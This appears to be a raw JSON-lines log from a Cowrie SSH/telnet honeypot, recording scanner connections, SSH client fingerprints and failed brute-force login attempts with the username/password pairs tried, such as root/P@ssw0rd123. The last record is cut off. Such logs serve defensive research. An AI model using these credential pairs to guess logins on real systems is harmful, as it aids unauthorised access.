{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:53.873164Z","src_ip":"45.156.87.204","session":"4818bee84b58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:54.310279Z","src_ip":"45.156.87.204","session":"4818bee84b58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59776,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5aab80fe540","protocol":"telnet","message":"New connection: 152.42.224.71:59776 (10.17.0.5:23) [session: c5aab80fe540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:54.509559Z"}
{"eventid":"cowrie.session.closed","duration":36.62122178077698,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:54.639790Z","src_ip":"152.42.224.71","session":"cfdf9940c312","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":54196,"dst_ip":"159.203.135.109","dst_port":22,"session":"14613427b9d3","protocol":"ssh","message":"New connection: 43.128.86.117:54196 (159.203.135.109:22) [session: 14613427b9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:55.385975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:55.394661Z","src_ip":"43.128.86.117","session":"14613427b9d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:55.398327Z","src_ip":"45.156.87.204","session":"4818bee84b58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:55.633418Z","src_ip":"43.128.86.117","session":"14613427b9d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.112.46.78","src_port":51084,"dst_ip":"159.203.135.109","dst_port":23,"session":"5621b43bef1e","protocol":"telnet","message":"New connection: 222.112.46.78:51084 (159.203.135.109:23) [session: 5621b43bef1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:55.684746Z"}
{"eventid":"cowrie.session.closed","duration":47.594473361968994,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:56.075444Z","src_ip":"152.42.224.71","session":"424628c43f35","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Master2023","message":"login attempt [root/Master2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:56.618350Z","src_ip":"43.128.86.117","session":"14613427b9d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41046,"dst_ip":"159.203.135.109","dst_port":22,"session":"87c683c77f8a","protocol":"ssh","message":"New connection: 45.156.87.204:41046 (159.203.135.109:22) [session: 87c683c77f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:57.560462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:57.565156Z","src_ip":"45.156.87.204","session":"87c683c77f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:57.646862Z","src_ip":"45.156.87.204","session":"87c683c77f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:57.862307Z","src_ip":"43.128.86.117","session":"14613427b9d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:57.890438Z","src_ip":"45.156.87.204","session":"87c683c77f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:46:58.975517Z","src_ip":"45.156.87.204","session":"87c683c77f8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43474,"dst_ip":"10.17.0.5","dst_port":23,"session":"76ab27f74cad","protocol":"telnet","message":"New connection: 152.42.224.71:43474 (10.17.0.5:23) [session: 76ab27f74cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:00.805685Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41062,"dst_ip":"159.203.135.109","dst_port":22,"session":"38ef0a029d8a","protocol":"ssh","message":"New connection: 45.156.87.204:41062 (159.203.135.109:22) [session: 38ef0a029d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:01.148580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:01.155171Z","src_ip":"45.156.87.204","session":"38ef0a029d8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:01.237944Z","src_ip":"45.156.87.204","session":"38ef0a029d8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:01.490016Z","src_ip":"45.156.87.204","session":"38ef0a029d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43484,"dst_ip":"10.17.0.5","dst_port":23,"session":"737080ab0e44","protocol":"telnet","message":"New connection: 152.42.224.71:43484 (10.17.0.5:23) [session: 737080ab0e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:02.124060Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:02.574541Z","src_ip":"45.156.87.204","session":"38ef0a029d8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.44344925880432,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:02.633404Z","src_ip":"152.42.224.71","session":"e037f4b8cb69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":43420,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b31508b9fb3","protocol":"ssh","message":"New connection: 124.155.125.131:43420 (159.203.135.109:22) [session: 3b31508b9fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:03.206108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:03.212674Z","src_ip":"124.155.125.131","session":"3b31508b9fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:03.387879Z","src_ip":"124.155.125.131","session":"3b31508b9fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"st","password":"st","message":"login attempt [st/st] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:04.118883Z","src_ip":"124.155.125.131","session":"3b31508b9fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54396,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd93be1d98b9","protocol":"ssh","message":"New connection: 45.156.87.204:54396 (159.203.135.109:22) [session: dd93be1d98b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:04.813079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:04.866721Z","src_ip":"45.156.87.204","session":"dd93be1d98b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:04.931993Z","src_ip":"45.156.87.204","session":"dd93be1d98b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:05.279282Z","src_ip":"45.156.87.204","session":"dd93be1d98b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:05.299131Z","src_ip":"124.155.125.131","session":"3b31508b9fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46200,"dst_ip":"10.17.0.5","dst_port":23,"session":"750558e507c6","protocol":"telnet","message":"New connection: 152.42.224.71:46200 (10.17.0.5:23) [session: 750558e507c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:06.274812Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:06.363276Z","src_ip":"45.156.87.204","session":"dd93be1d98b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54406,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b4785f6c43c","protocol":"ssh","message":"New connection: 45.156.87.204:54406 (159.203.135.109:22) [session: 1b4785f6c43c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:08.537054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:08.541562Z","src_ip":"45.156.87.204","session":"1b4785f6c43c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:08.623676Z","src_ip":"45.156.87.204","session":"1b4785f6c43c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:08.869501Z","src_ip":"45.156.87.204","session":"1b4785f6c43c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:09.955036Z","src_ip":"45.156.87.204","session":"1b4785f6c43c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:11.470977Z","src_ip":"47.237.167.49","session":"71f69c0a80a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54422,"dst_ip":"159.203.135.109","dst_port":22,"session":"a21fc43640d7","protocol":"ssh","message":"New connection: 45.156.87.204:54422 (159.203.135.109:22) [session: a21fc43640d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:12.124613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:12.129679Z","src_ip":"45.156.87.204","session":"a21fc43640d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 